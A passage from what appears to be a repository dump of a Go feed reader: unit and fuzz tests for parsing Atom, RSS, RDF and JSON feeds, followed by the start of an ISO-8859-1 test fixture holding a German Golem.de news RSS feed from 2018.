Doe</name></author>\n<id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>\n<entry>\n<title>a</title>\n<link href=\"http://example.org/b\"/>\n<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n<updated>2003-12-13T18:30:02Z</updated>\n<summary>c</summary>\n</entry>\n</feed>`)\n\tf.Add(\"https://z.org\", `<?xml version=\"1.0\"?>\n<rss version=\"2.0\">\n<channel>\n<title>a</title>\n<link>http://z.org</link>\n<item>\n<title>a</title>\n<link>http://z.org</link>\n<description>d</description>\n<pubDate>Tue, 03 Jun 2003 09:39:21 GMT</pubDate>\n<guid>l</guid>\n</item>\n</channel>\n</rss>`)\n\tf.Add(\"https://z.org\", `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://purl.org/rss/1.0/\">\n<channel>\n<title>a</title>\n<link>http://z.org/</link>\n</channel>\n<item>\n<title>a</title>\n<link>/</link>\n<description>c</description>\n</item>\n</rdf:RDF>`)\n\tf.Add(\"http://z.org\", `{\n\"version\": \"http://jsonfeed.org/version/1\",\n\"title\": \"a\",\n\"home_page_url\": \"http://z.org/\",\n\"feed_url\": \"http://z.org/a.json\",\n\"items\": [\n{\"id\": \"2\",\"content_text\": \"a\",\"url\": \"https://z.org/2\"},\n{\"id\": \"1\",\"content_html\": \"<a\",\"url\":\"http://z.org/1\"}]}`)\n\tf.Fuzz(func(t *testing.T, url string, data string) {\n\t\tParseFeed(url, strings.NewReader(data))\n\t})\n}\n\nfunc TestParseAtom03Feed(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<title>dive into mark</title>\n\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/\"/>\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<title>Atom 0.3 snapshot</title>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t\t<issued>2003-12-13T08:29:29-04:00</issued>\n\t\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t\t<summary type=\"text/plain\">It&apos;s a test</summary>\n\t\t\t<content type=\"text/html\" mode=\"escaped\"><![CDATA[<p>HTML content</p>]]></content>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := ParseFeed(\"https://example.org/\", strings.NewReader(data))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif feed.Title != \"dive into mark\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseAtom10Feed(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <updated>2003-12-13T18:30:02Z</updated>\n\t  <author>\n\t\t<name>John Doe</name>\n\t  </author>\n\t  <id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>\n\n\t  <entry>\n\t\t<title>Atom-Powered Robots Run Amok</title>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := ParseFeed(\"https://example.org/\", strings.NewReader(data))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif feed.Title != \"Example Feed\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseAtomFeedWithRelativeURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"/blog/atom.xml\" rel=\"self\" type=\"application/atom+xml\"/>\n\t  <link href=\"/blog\"/>\n\n\t  <entry>\n\t\t<title>Test</title>\n\t\t<link href=\"/blog/article.html\"/>\n\t\t<link href=\"/blog/article.html\" rel=\"alternate\" type=\"text/html\"/>\n\t\t<id>/blog/article.html</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := ParseFeed(\"https://example.org/blog/atom.xml\", strings.NewReader(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/blog/atom.xml\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/blog\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/blog/article.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseRSS(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t<rss version=\"2.0\">\n\t<channel>\n\t\t<title>Liftoff News</title>\n\t\t<link>http://liftoff.msfc.nasa.gov/</link>\n\t\t<item>\n\t\t\t<title>Star City</title>\n\t\t\t<link>http://liftoff.msfc.nasa.gov/news/2003/news-starcity.asp</link>\n\t\t\t<description>How do Americans get ready to work with Russians aboard the International Space Station? They take a crash course in culture, language and protocol at Russia's &lt;a href=\"http://howe.iki.rssi.ru/GCTC/gctc_e.htm\"&gt;Star City&lt;/a&gt;.</description>\n\t\t\t<pubDate>Tue, 03 Jun 2003 09:39:21 GMT</pubDate>\n\t\t\t<guid>http://liftoff.msfc.nasa.gov/2003/06/03.html#item573</guid>\n\t\t</item>\n\t</channel>\n\t</rss>`\n\n\tfeed, err := ParseFeed(\"http://liftoff.msfc.nasa.gov/\", strings.NewReader(data))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif feed.Title != \"Liftoff News\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseRSSFeedWithRelativeURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t<rss version=\"2.0\">\n\t<channel>\n\t\t<title>Example Feed</title>\n\t\t<link>/blog</link>\n\t\t<item>\n\t\t\t<title>Example Entry</title>\n\t\t\t<link>/blog/article.html</link>\n\t\t\t<description>Something</description>\n\t\t\t<pubDate>Tue, 03 Jun 2003 09:39:21 GMT</pubDate>\n\t\t\t<guid>1234</guid>\n\t\t</item>\n\t</channel>\n\t</rss>`\n\n\tfeed, err := ParseFeed(\"http://example.org/rss.xml\", strings.NewReader(data))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif feed.Title != \"Example Feed\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n\n\tif feed.FeedURL != \"http://example.org/rss.xml\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"http://example.org/blog\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif feed.Entries[0].URL != \"http://example.org/blog/article.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseRDF(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rdf:RDF\n\t\t  xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\t  xmlns=\"http://purl.org/rss/1.0/\"\n\t\t>\n\n\t\t  <channel>\n\t\t\t<title>RDF Example</title>\n\t\t\t<link>http://example.org/</link>\n\t\t  </channel>\n\n\t\t  <item>\n\t\t\t<title>Title</title>\n\t\t\t<link>http://example.org/item</link>\n\t\t\t<description>Test</description>\n\t\t  </item>\n\t\t</rdf:RDF>`\n\n\tfeed, err := ParseFeed(\"http://example.org/\", strings.NewReader(data))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif feed.Title != \"RDF Example\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseRDFWithRelativeURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rdf:RDF\n\t\t  xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\t  xmlns=\"http://purl.org/rss/1.0/\"\n\t\t>\n\n\t\t  <channel>\n\t\t\t<title>RDF Example</title>\n\t\t\t<link>/blog</link>\n\t\t  </channel>\n\n\t\t  <item>\n\t\t\t<title>Title</title>\n\t\t\t<link>/blog/article.html</link>\n\t\t\t<description>Test</description>\n\t\t  </item>\n\t\t</rdf:RDF>`\n\n\tfeed, err := ParseFeed(\"http://example.org/rdf.xml\", strings.NewReader(data))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif feed.FeedURL != \"http://example.org/rdf.xml\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"http://example.org/blog\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif feed.Entries[0].URL != \"http://example.org/blog/article.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseJson(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2\",\n\t\t\t\t\"content_text\": \"This is a second item.\",\n\t\t\t\t\"url\": \"https://example.org/second-item\"\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"id\": \"1\",\n\t\t\t\t\"content_html\": \"<p>Hello, world!</p>\",\n\t\t\t\t\"url\": \"https://example.org/initial-post\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := ParseFeed(\"https://example.org/feed.json\", strings.NewReader(data))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif feed.Title != \"My Example Feed\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseJsonFeedWithRelativeURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"/blog\",\n\t\t\"feed_url\": \"/blog/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2\",\n\t\t\t\t\"content_text\": \"This is a second item.\",\n\t\t\t\t\"url\": \"/blog/article.html\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := ParseFeed(\"https://example.org/blog/feed.json\", strings.NewReader(data))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif feed.Title != \"My Example Feed\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/blog/feed.json\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/blog\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/blog/article.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseUnknownFeed(t *testing.T) {\n\tdata := `\n\t\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\t\t<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\t\t\t<head>\n\t\t\t\t<title>Title of document</title>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\tsome content\n\t\t\t</body>\n\t\t</html>\n\t`\n\n\t_, err := ParseFeed(\"https://example.org/\", strings.NewReader(data))\n\tif err == nil {\n\t\tt.Error(\"ParseFeed must returns an error\")\n\t}\n}\n\nfunc TestParseEmptyFeed(t *testing.T) {\n\t_, err := ParseFeed(\"\", strings.NewReader(\"\"))\n\tif err == nil {\n\t\tt.Error(\"ParseFeed must returns an error\")\n\t}\n}\n"
  },
  {
    "path": "internal/reader/parser/testdata/encoding_ISO-8859-1.xml",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!-- generator=\"FeedCreator 1.6\" -->\n<rss xmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n    xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n    xmlns:atom=\"http://www.w3.org/2005/Atom\"\n    version=\"2.0\">\n    <channel>\n        <title>Golem.de</title>\n        <description>IT-News fuer Profis</description>\n        <link>https://www.golem.de/</link>\n        <atom:link rel=\"self\" href=\"https://rss.golem.de/rss.php?feed=RSS2.0\" />\n        <lastBuildDate>Sun, 28 Oct 2018 13:49:01 +0100</lastBuildDate>\n        <generator>FeedCreator 1.6</generator>\n        <image>\n            <url>https://www.golem.de/staticrl/images/golem-rss.png</url>\n            <title>Golem.de</title>\n            <link>https://www.golem.de/</link>\n            <description>Golem.de News Feed</description>\n        </image>\n        <language>de</language>\n        <atom:link rel=\"hub\" href=\"http://golem.superfeedr.com/\" />\n        <item>\n            <title>Red Dead Redemption 2: Hinweise auf PC-Umsetzung in App von Rockstar Games</title>\n            <link>https://www.golem.de/news/red-dead-redemption-2-hinweise-auf-pc-umsetzung-in-app-von-rockstar-games-1810-137358-rss.html</link>\n            <description>Viele Spieler wnschen sich eine PC-Version von Red Dead Redemption 2, aber Entwickler Rockstar Games schweigt zu dem Thema. Anders die offizielle Companion App: In einigen ihrer Daten gibt es Hinweise auf die Umsetzung. (&lt;a href=&quot;https://www.golem.de/specials/red-dead-redemption-2/&quot;&gt;Red Dead Redemption 2&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/red-dead-redemption/&quot;&gt;Red Dead Redemption&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137358&amp;amp;page=1&amp;amp;ts=1540730880&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <pubDate>Sun, 28 Oct 2018 13:48:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137358-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137358-177541-177538_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Viele Spieler wnschen sich eine PC-Version von Red Dead Redemption 2, aber Entwickler Rockstar Games schweigt zu dem Thema. Anders die offizielle Companion App: In einigen ihrer Daten gibt es Hinweise auf die Umsetzung. (<a href=\"https://www.golem.de/specials/red-dead-redemption-2/\">Red Dead Redemption 2</a>, <a href=\"https://www.golem.de/specials/red-dead-redemption/\">Red Dead Redemption</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137358&amp;page=1&amp;ts=1540730880\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments />\n        </item>\n        <item>\n            <title>Let's Play: Twitch will Streamer zusammen spielen und singen lassen</title>\n            <link>https://www.golem.de/news/let-s-play-twitch-will-streamer-zusammen-spielen-und-singen-lassen-1810-137357-rss.html</link>\n            <description>Der Streamingdienst Twitch hat auf seiner Hausmesse neue Funktionen fr Kanalbetreiber und Zuschauer vorgestellt. Unter anderem soll es knftig bertragungen mit bis zu vier Spielern geben - und Singwettbewerbe. (&lt;a href=&quot;https://www.golem.de/specials/twitch/&quot;&gt;Twitch&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/amazon/&quot;&gt;Amazon&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137357&amp;amp;page=1&amp;amp;ts=1540728000&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/games/let-s-play-twitch-will-streamer-zusammen-spielen-und-singen-lassen/121579,list.html</comments>\n            <pubDate>Sun, 28 Oct 2018 13:00:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137357-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137357-177536-177533_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Der Streamingdienst Twitch hat auf seiner Hausmesse neue Funktionen fr Kanalbetreiber und Zuschauer vorgestellt. Unter anderem soll es knftig bertragungen mit bis zu vier Spielern geben - und Singwettbewerbe. (<a href=\"https://www.golem.de/specials/twitch/\">Twitch</a>, <a href=\"https://www.golem.de/specials/amazon/\">Amazon</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137357&amp;page=1&amp;ts=1540728000\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments />\n        </item>\n        <item>\n            <title>Zhuque-1: Erste private chinesische Satellitenmission fehlgeschlagen</title>\n            <link>https://www.golem.de/news/zhuque-1-erste-private-chinesische-satellitenmission-fehlgeschlagen-1810-137356-rss.html</link>\n            <description>Die Zhuque-1 hat es nicht in den Orbit geschafft: Beim Znden der dritten Raketenstufe kam es zu Problemen. Bei einem Erfolg wre der Hersteller Landspace das erste von rund 60 kommerziellen chinesischen Unternehmen gewesen, das einen Satelliten ins All gebracht htte. (&lt;a href=&quot;https://www.golem.de/specials/raumfahrt/&quot;&gt;Raumfahrt&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/internet/&quot;&gt;Internet&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137356&amp;amp;page=1&amp;amp;ts=1540722420&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/internet/zhuque-1-erste-private-chinesische-satellitenmission-fehlgeschlagen/121578,list.html</comments>\n            <pubDate>Sun, 28 Oct 2018 11:27:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137356-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137356-177532-177529_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Die Zhuque-1 hat es nicht in den Orbit geschafft: Beim Znden der dritten Raketenstufe kam es zu Problemen. Bei einem Erfolg wre der Hersteller Landspace das erste von rund 60 kommerziellen chinesischen Unternehmen gewesen, das einen Satelliten ins All gebracht htte. (<a href=\"https://www.golem.de/specials/raumfahrt/\">Raumfahrt</a>, <a href=\"https://www.golem.de/specials/internet/\">Internet</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137356&amp;page=1&amp;ts=1540722420\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>1</slash:comments>\n        </item>\n        <item>\n            <title>City Transformer: Startup entwickelt faltbares Elektroauto gegen Parkplatznot</title>\n            <link>https://www.golem.de/news/city-transformer-startup-entwickelt-faltbares-elektroauto-gegen-parkplatznot-1810-137355-rss.html</link>\n            <description>Es passt fast in jede Parklcke: Ein Faltauto des Startups City Transformer soll Stdtern knftig das Leben erleichtern. Das innovative Fahrzeug wird zusammen mit Yamaha entwickelt. Vorbestellungen sollen voraussichtlich ab 2020 mglich sein, mehrere Versionen sind geplant. (&lt;a href=&quot;https://www.golem.de/specials/elektromobilitaet/&quot;&gt;Elektromobilitt&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/elektroauto/&quot;&gt;Elektroauto&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137355&amp;amp;page=1&amp;amp;ts=1540721400&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/automobil/city-transformer-startup-entwickelt-faltbares-elektroauto-gegen-parkplatznot/121577,list.html</comments>\n            <pubDate>Sun, 28 Oct 2018 11:10:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137355-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137355-177527-177524_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Es passt fast in jede Parklcke: Ein Faltauto des Startups City Transformer soll Stdtern knftig das Leben erleichtern. Das innovative Fahrzeug wird zusammen mit Yamaha entwickelt. Vorbestellungen sollen voraussichtlich ab 2020 mglich sein, mehrere Versionen sind geplant. (<a href=\"https://www.golem.de/specials/elektromobilitaet/\">Elektromobilitt</a>, <a href=\"https://www.golem.de/specials/elektroauto/\">Elektroauto</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137355&amp;page=1&amp;ts=1540721400\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>37</slash:comments>\n        </item>\n        <item>\n            <title>Machine Learning: Von KI erstelltes Portrt fr 432.500 US.Dollar versteigert</title>\n            <link>https://www.golem.de/news/machine-learning-von-ki-erstelltes-portraet-fuer-432-500-us-dollar-versteigert-1810-137353-rss.html</link>\n            <description>Kann Software Kunst erstellen? Eine erfolgreiche Auktion beweist, dass es zumindest Abnehmer dafr gibt. Allerdings hat sich das Entwicklerteam Obvious wohl stark bei anderen KI-Systemen bedient. (&lt;a href=&quot;https://www.golem.de/specials/neuronalesnetzwerk/&quot;&gt;Neuronales Netzwerk&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/ki/&quot;&gt;KI&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137353&amp;amp;page=1&amp;amp;ts=1540643580&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/applikationen/machine-learning-von-ki-erstelltes-portraet-fuer-432.500-us.dollar-versteigert/121575,list.html</comments>\n            <pubDate>Sat, 27 Oct 2018 13:33:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137353-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137353-177523-177520_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Kann Software Kunst erstellen? Eine erfolgreiche Auktion beweist, dass es zumindest Abnehmer dafr gibt. Allerdings hat sich das Entwicklerteam Obvious wohl stark bei anderen KI-Systemen bedient. (<a href=\"https://www.golem.de/specials/neuronalesnetzwerk/\">Neuronales Netzwerk</a>, <a href=\"https://www.golem.de/specials/ki/\">KI</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137353&amp;page=1&amp;ts=1540643580\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>31</slash:comments>\n        </item>\n        <item>\n            <title>Projekt Jedi: Microsoft will weiter mit US-Militr zusammenarbeiten</title>\n            <link>https://www.golem.de/news/project-jedi-microsoft-will-weiter-mit-us-militaer-zusammenarbeiten-1810-137352-rss.html</link>\n            <description>In einem Blogbeitrag hat sich Microsoft-Prsident Brad Smith zur Zusammenarbeit mit dem US-Verteidigungsministerium bekannt. Mitarbeiter, die nicht an derartigen Projekten arbeiten wollen, sollen in andere Bereiche des Unternehmens wechseln knnen. (&lt;a href=&quot;https://www.golem.de/specials/microsoft/&quot;&gt;Microsoft&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/google/&quot;&gt;Google&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137352&amp;amp;page=1&amp;amp;ts=1540641780&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/internet/projekt-jedi-microsoft-will-weiter-mit-us-militaer-zusammenarbeiten/121574,list.html</comments>\n            <pubDate>Sat, 27 Oct 2018 13:03:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137352-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137055-176130-176127_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">In einem Blogbeitrag hat sich Microsoft-Prsident Brad Smith zur Zusammenarbeit mit dem US-Verteidigungsministerium bekannt. Mitarbeiter, die nicht an derartigen Projekten arbeiten wollen, sollen in andere Bereiche des Unternehmens wechseln knnen. (<a href=\"https://www.golem.de/specials/microsoft/\">Microsoft</a>, <a href=\"https://www.golem.de/specials/google/\">Google</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137352&amp;page=1&amp;ts=1540641780\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>21</slash:comments>\n        </item>\n        <item>\n            <title>Star Wars: Boba-Fett-Film ist &quot;zu 100 Prozent tot&quot;</title>\n            <link>https://www.golem.de/news/star-wars-boba-fett-film-ist-zu-100-prozent-tot-1810-137351-rss.html</link>\n            <description>Es wird wohl doch keinen dritten Star-Wars-Ableger geben, der sich um den kultigen Kopfgeldjger Boba Fett dreht. Das wird laut einem Medienbericht teils auf den geringen Erfolg des Han-Solo-Films zurckgefhrt. Stattdessen soll ein bisher unbekannter Charakter in einer Serie die mandalorianische Rstung anziehen. (&lt;a href=&quot;https://www.golem.de/specials/star-wars/&quot;&gt;Star Wars&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/film/&quot;&gt;Film&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137351&amp;amp;page=1&amp;amp;ts=1540639620&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/audio-video/star-wars-boba-fett-film-ist-zu-100-prozent-tot/121573,list.html</comments>\n            <pubDate>Sat, 27 Oct 2018 12:27:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137351-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137351-177519-177514_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Es wird wohl doch keinen dritten Star-Wars-Ableger geben, der sich um den kultigen Kopfgeldjger Boba Fett dreht. Das wird laut einem Medienbericht teils auf den geringen Erfolg des Han-Solo-Films zurckgefhrt. Stattdessen soll ein bisher unbekannter Charakter in einer Serie die mandalorianische Rstung anziehen. (<a href=\"https://www.golem.de/specials/star-wars/\">Star Wars</a>, <a href=\"https://www.golem.de/specials/film/\">Film</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137351&amp;page=1&amp;ts=1540639620\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>148</slash:comments>\n        </item>\n        <item>\n            <title>Lenovo: Fehlerhafte Bios-Einstellung macht Thinkpads unbrauchbar</title>\n            <link>https://www.golem.de/news/lenovo-fehlerhafte-bios-einstellung-macht-thinkpads-unbrauchbar-1810-137350-rss.html</link>\n            <description>Die Bios-Untersttzung fr Thunderbolt bei Thinkpads zu aktivieren, ist derzeit keine gute Idee: Mehrere Nutzer berichten von nicht mehr startenden Notebooks, nachdem sie diese Funktion aktiviert haben. Das konnte auf diversen Linux-Distributionen, aber auch mit Windows 10 repliziert werden. (&lt;a href=&quot;https://www.golem.de/specials/lenovo/&quot;&gt;Lenovo&lt;/a&gt;, &lt;a href=&quot;https://www.golem.de/specials/business-notebooks/&quot;&gt;Business-Notebooks&lt;/a&gt;) &lt;img src=&quot;https://cpx.golem.de/cpx.php?class=17&amp;amp;aid=137350&amp;amp;page=1&amp;amp;ts=1540633200&quot; alt=&quot;&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>\n            <comments>https://forum.golem.de/kommentare/applikationen/lenovo-fehlerhafte-bios-einstellung-macht-thinkpads-unbrauchbar/121572,list.html</comments>\n            <pubDate>Sat, 27 Oct 2018 10:40:00 +0100</pubDate>\n            <guid>https://www.golem.de/1810/137350-rss.html</guid>\n            <content:encoded><![CDATA[<img src=\"https://www.golem.de/1810/137350-177513-177510_rc.jpg\" width=\"140\" height=\"140\" vspace=\"3\" hspace=\"8\" align=\"left\">Die Bios-Untersttzung fr Thunderbolt bei Thinkpads zu aktivieren, ist derzeit keine gute Idee: Mehrere Nutzer berichten von nicht mehr startenden Notebooks, nachdem sie diese Funktion aktiviert haben. Das konnte auf diversen Linux-Distributionen, aber auch mit Windows 10 repliziert werden. (<a href=\"https://www.golem.de/specials/lenovo/\">Lenovo</a>, <a href=\"https://www.golem.de/specials/business-notebooks/\">Business-Notebooks</a>) <img src=\"https://cpx.golem.de/cpx.php?class=17&amp;aid=137350&amp;page=1&amp;ts=1540633200\" alt=\"\" width=\"1\" height=\"1\" />]]></content:encoded>\n            <slash:comments>16</slash:comments>\n        </item>\n        <item>\n            <title>Wochenrckblick: Wilder Westen, buntes Handy, nutzloses Siegel</title>\n            <link>https://www.golem.de/news/wochenrueckblick-wilder-westen-buntes-handy-nutzloses-siegel-1810-137318-rss.html</link>\n            <description> Wir testen das 